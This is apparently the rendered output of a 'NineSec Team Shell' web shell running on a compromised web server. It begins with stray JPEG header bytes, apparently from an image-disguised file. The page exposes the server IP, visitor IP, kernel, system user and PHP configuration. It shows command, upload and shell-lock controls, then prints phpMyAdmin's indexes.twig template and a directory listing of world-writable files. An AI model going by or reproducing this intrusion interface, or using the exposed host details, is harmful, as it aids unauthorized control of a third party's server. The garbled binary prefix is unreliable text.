�����JFIF��������(ICC_PROFILE���������mntrRGB XYZ ������������acsp�������������������������������������-��������������������������������������������������� desc�������trXYZ��d���gXYZ��x���bXYZ������rTRC������(gTRC������(bTRC������(wtpt������cprt������ NineSec Team Shell
NineSec Team Shell
Server IP : 51.38.211.120  /  Your IP : 216.73.216.188
Web Server : Apache
System : Linux bob 5.15.85-1-pve #1 SMP PVE 5.15.85-1 (2023-02-01T00:00Z) x86_64
User : readytorun ( 1067)
PHP Version : 8.0.30
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0755) :  /home/readytorun/domains/demo.readytorun.it/public_html/phmad/templates/modals/../

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/readytorun/domains/demo.readytorun.it/public_html/phmad/templates/modals/../indexes.twig
<fieldset class="pma-fieldset index_info">
  <legend id="index_header">
    {% trans 'Indexes' %}
    {{ show_mysql_docu('optimizing-database-structure') }}
  </legend>

  {% if indexes is not empty %}
    {{ indexes_duplicates|raw }}

    {{ include('modals/preview_sql_confirmation.twig') }}
    <div class="table-responsive jsresponsive">
      <table class="table table-light table-striped table-hover table-sm w-auto align-middle" id="table_index">
        <thead class="table-light">
        <tr>
            <th colspan="3" class="d-print-none">{% trans 'Action' %}</th>
            <th>{% trans 'Keyname' %}</th>
            <th>{% trans 'Type' %}</th>
            <th>{% trans 'Unique' %}</th>
            <th>{% trans 'Packed' %}</th>
            <th>{% trans 'Column' %}</th>
            <th>{% trans 'Cardinality' %}</th>
            <th>{% trans 'Collation' %}</th>
            <th>{% trans 'Null' %}</th>
            <th>{% trans 'Comment' %}</th>
          </tr>
        </thead>

        {% for index in indexes %}
          <tbody class="row_span">
            {% set columns_count = index.getColumnCount() %}
            <tr class="noclick">
              <td rowspan="{{ columns_count }}" class="edit_index d-print-none ajax">
                <a class="ajax" href="{{ url('/table/indexes') }}" data-post="{{ get_common(url_params|merge({'index': index.getName()}), '', false) }}">
                  {{ get_icon('b_edit', 'Edit'|trans) }}
                </a>
              </td>
              <td rowspan="{{ columns_count }}" class="rename_index d-print-none ajax" >
                <a class="ajax" href="{{ url('/table/indexes/rename') }}" data-post="{{ get_common(url_params|merge({'index': index.getName()}), '', false) }}">
                  {{ get_icon('b_rename', 'Rename'|trans) }}
                </a>
              </td>
              <td rowspan="{{ columns_count }}" class="d-print-none">
                {% if index.getName() == 'PRIMARY' %}
                  {% set index_params = {
                    'sql_query': 'ALTER TABLE ' ~ backquote(table) ~ ' DROP PRIMARY KEY;',
                    'message_to_show': 'The primary key has been dropped.'|trans
                  } %}
                {% else %}
                  {% set index_params = {
                    'sql_query': 'ALTER TABLE ' ~ backquote(table) ~ ' DROP INDEX ' ~ backquote(index.getName()) ~ ';',
                    'message_to_show': 'Index %s has been dropped.'|trans|format(index.getName())
                  } %}
                {% endif %}

                <input type="hidden" class="drop_primary_key_index_msg" value="{{ index_params.sql_query }}">
                {{ link_or_button(
                  url('/sql'),
                  url_params|merge(index_params),
                  get_icon('b_drop', 'Drop'|trans),
                  {'class': 'drop_primary_key_index_anchor ajax'}
                ) }}
              </td>
              <th rowspan="{{ columns_count }}">{{ index.getName() }}</th>
              <td rowspan="{{ columns_count }}">{{ index.getType()|default(index.getChoice()) }}</td>
              <td rowspan="{{ columns_count }}">{{ index.isUnique() ? 'Yes'|trans : 'No'|trans }}</td>
              <td rowspan="{{ columns_count }}">{{ index.isPacked()|raw }}</td>

              {% for column in index.getColumns() %}
                {% if column.getSeqInIndex() > 1 %}
                  <tr class="noclick">
                {% endif %}
                <td>
                  {% if column.hasExpression() %}{{ column.getExpression() }}{% else %}{{ column.getName() }}{% endif %}
                  {% if column.getSubPart() is not empty %}
                    ({{ column.getSubPart() }})
                  {% endif %}
                </td>
                <td>{{ column.getCardinality() }}</td>
                <td>{{ column.getCollation() }}</td>
                <td>{{ column.getNull(true) }}</td>

                {% if column.getSeqInIndex() == 1 %}
                  <td rowspan="{{ columns_count }}">{{ index.getComments() }}</td>
                {% endif %}
            </tr>
              {% endfor %}
          </tbody>
        {% endfor %}
      </table>
    </div>
  {% else %}
    <div class="no_indexes_defined">{{ 'No index defined!'|trans|notice }}</div>
  {% endif %}
</fieldset>

NineSec Team - 2022
Name
Size
Last Modified
Owner
Permissions
Options
..
--
September 11 2024 5:18:57
readytorun
0755
columns_definitions
--
September 11 2024 5:18:57
readytorun
0755
components
--
September 11 2024 5:18:57
readytorun
0755
config
--
September 11 2024 5:18:57
readytorun
0755
console
--
September 11 2024 5:18:57
readytorun
0755
database
--
September 11 2024 5:18:57
readytorun
0755
display
--
September 11 2024 5:18:57
readytorun
0755
encoding
--
October 24 2025 7:58:11
readytorun
0755
error
--
September 11 2024 5:18:57
readytorun
0755
export
--
September 11 2024 5:18:57
readytorun
0755
home
--
September 11 2024 5:18:57
readytorun
0755
import
--
September 11 2024 5:18:57
readytorun
0755
javascript
--
September 11 2024 5:18:57
readytorun
0755
login
--
September 11 2024 5:18:57
readytorun
0755
menu
--
September 11 2024 5:18:57
readytorun
0755
modals
--
September 11 2024 5:18:57
readytorun
0755
navigation
--
September 11 2024 5:18:57
readytorun
0755
plugins
--
September 11 2024 5:18:57
readytorun
0755
preferences
--
September 11 2024 5:18:57
readytorun
0755
relation
--
September 11 2024 5:18:57
readytorun
0755
server
--
September 11 2024 5:18:57
readytorun
0755
setup
--
September 11 2024 5:18:57
readytorun
0755
sql
--
September 11 2024 5:18:57
readytorun
0755
table
--
September 11 2024 5:18:57
readytorun
0755
test
--
September 11 2024 5:18:57
readytorun
0755
.htaccess
0.124 KB
November 14 2025 9:26:18
readytorun
0444
changelog.twig
0.446 KB
August 28 2023 5:02:04
readytorun
0777
create_tracking_version.twig
3.701 KB
August 28 2023 5:02:04
readytorun
0777
export.twig
23.073 KB
August 28 2023 5:02:03
readytorun
0777
export_modal.twig
0.646 KB
August 28 2023 5:02:04
readytorun
0777
file_select_options.twig
0.148 KB
August 28 2023 5:02:03
readytorun
0777
filter.twig
0.423 KB
August 28 2023 5:02:03
readytorun
0777
footer.twig
1.551 KB
August 28 2023 5:02:04
readytorun
0777
gis_data_editor_form.twig
12.182 KB
August 28 2023 5:02:04
readytorun
0777
header.twig
2.157 KB
August 28 2023 5:02:03
readytorun
0777
header_location.twig
0.637 KB
August 28 2023 5:02:04
readytorun
0777
import.twig
10.761 KB
August 28 2023 5:02:03
readytorun
0777
import_status.twig
0.109 KB
August 28 2023 5:02:03
readytorun
0777
indexes.twig
4.225 KB
August 28 2023 5:02:04
readytorun
0777
list_navigator.twig
2.287 KB
August 28 2023 5:02:03
readytorun
0777
message.twig
0.078 KB
August 28 2023 5:02:04
readytorun
0777
preview_sql.twig
0.294 KB
August 28 2023 5:02:03
readytorun
0777
recent_favorite_table_favorite.twig
0.485 KB
August 28 2023 5:02:04
readytorun
0777
recent_favorite_table_no_tables.twig
0.183 KB
August 28 2023 5:02:04
readytorun
0777
recent_favorite_table_recent.twig
0.168 KB
August 28 2023 5:02:04
readytorun
0777
scripts.twig
0.783 KB
August 28 2023 5:02:04
readytorun
0777
select_all.twig
0.371 KB
August 28 2023 5:02:03
readytorun
0777
top_menu.twig
1.065 KB
August 28 2023 5:02:04
readytorun
0777
transformation_overview.twig
1.331 KB
August 28 2023 5:02:04
readytorun
0777
user_password.twig
0.081 KB
August 28 2023 5:02:03
readytorun
0777
view_create.twig
4.73 KB
August 28 2023 5:02:04
readytorun
0777

NineSec Team - 2022